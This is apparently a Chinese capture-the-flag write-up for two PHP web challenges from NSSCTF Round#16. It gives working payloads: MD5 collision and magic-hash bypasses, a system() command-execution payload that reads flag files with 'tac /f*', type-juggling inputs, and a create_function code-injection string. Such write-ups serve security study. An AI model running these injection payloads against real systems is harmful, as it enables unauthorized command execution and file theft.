【Web】NSSCTF Round#16 Basic个人wp(全)

出题友好,适合手生复健。

目录

①RCE但是没有完全RCE

②了解过PHP特性吗


①RCE但是没有完全RCE

上来就是一段md5八股

(string)就是不让用数组了,然后强比较需要md5碰撞

复制代码
?md5_1=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%00%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%55%5d%83%60%fb%5f%07%fe%a2&md5_2=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%02%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%d5%5d%83%60%fb%5f%07%fe%a2

之后是要md5前后都是0e

复制代码
post:md5_3=0e215962017

成功过掉,访问3z_RC3.php

这里可能有师傅会想用hex2bin,但编码后会有f和a两个字母不能用,限制太大,反而弄巧成拙。

所以采用下面这种解法:

复制代码
/3z_RC3.php?cmd=system($_POST[1]);

post:shell=urldecode&1=tac /f*

这里妙就妙在让shell形同虚设,让cmd自成一个包含函数和参数的完整命令执行。

再要绕waf很自然就想到用$_POST[1]来转接。

②了解过PHP特性吗

乐,开屏一堆PHP特性

这里可能比较难测,所以建议自己本地搭一下,稍微修改下代码,让绕过的进度可视化。

复制代码
<?php
error_reporting(0);
highlight_file(__FILE__);

$num = $_GET['num'];
if (preg_match("/[0-9]/", $num)) {
    die("no!!");
}
if (intval($num)) {
    echo 1;
}
if (isset($_POST['ctype']) && isset($_POST['is_num'])) {
    $ctype = strrev($_POST['ctype']);
    $is_num = strrev($_POST['is_num']);
    if (ctype_alpha($ctype) && is_numeric($is_num) && md5($ctype) == md5($is_num)) {
        echo 2;
    }
}
$_114 = $_GET['114'];
$_514 = $_POST['514'];
if (isset($_114) && intval($_114) > 114514 && strlen($_114) <= 3) {
    if (!is_numeric($_514) && $_514 > 9999999) {
        echo 3;
    }
}
$arr4y = $_POST['arr4y'];
if (is_array($arr4y)) {
    for ($i = 0; $i < count($arr4y); $i++) {
        if ($arr4y[$i] === "NSS") {
            die("no!");
        }
        $arr4y[$i] = intval($arr4y[$i]);
    }
    if (array_search("NSS", $arr4y) === 0) {
        echo 4;
    }
}

第一个是数组绕过preg_match,不解释。

第二个是0e绕过弱比较,找两个md5后为0e的原字符串,因为要求ctype是字母,is_num是数字(当然包括科学计数法)

自然可以找到这两个,记得要rev一下。

QNKCDZO->OZDCKNQ

0e215962017->710269512e0

第三个是科学计数法+含数字字母字符串弱比较

第四个传入一个数组,NSS前加个空格可绕过"===",且让array_search可以匹配到NSS(可本地试一下)

复制代码
<?php

$arr=array(1 =>' NSS'); //注意NSS前有空格
$key=array_search('NSS',$arr);
if ($key=1){
    echo 'success';
}
else echo 'no!';

payload:

复制代码
?num[]=1&114=9e9

post:514=99999999a&ctype=OZDCKNQ&is_num=710269512e0&arr4y[]= NSS

访问Rc3_function.php

一眼create_function注入,贴出文章不多解释

create_function注入

payload:

复制代码
shell=&nss=1;}system('tac /f*');/*
相关推荐
小小邵同学9 小时前
jsp payload解析
网络安全
土豆.exe11 小时前
OpenClaw 安全保险箱怎么做?从 ClawVault 看 AI Agent 的原子化控制、检测与限额
人工智能·网络安全·ai安全·openclaw
Chengbei1112 小时前
Chrome浏览器渗透利器支持原生扫描!JS 端点 + 敏感目录 + 原型污染自动化检测|VulnRadar
javascript·chrome·安全·web安全·网络安全·自动化·系统安全
Y5neKO13 小时前
某国赛CTF逆向题目Writeup:re1
python·逆向·ctf
ShoreKiten16 小时前
DC-3靶机渗透--CTFer从0到1的进阶之路
安全·网络安全·渗透测试
网安情报局18 小时前
2026网络安全六大确定性趋势
大数据·人工智能·网络安全
大方子18 小时前
【PolarCTF】session文件包含
网络安全·polarctf
网云工程师手记19 小时前
深信服零信任 aTrust 对接 Keycloak(OIDC)实战指南
网络·网络安全·零信任·oauth2·sso单点登录·企业身份认证
未知鱼19 小时前
Python安全开发asyncio(异步IO与高并发)
python·安全·网络安全·github
Ho1aAs19 小时前
『OpenClaw安全』CVE-2026-25253:ClawJacked One-Click RCE
安全·web安全·网络安全·ai·智能体·agent安全·openclaw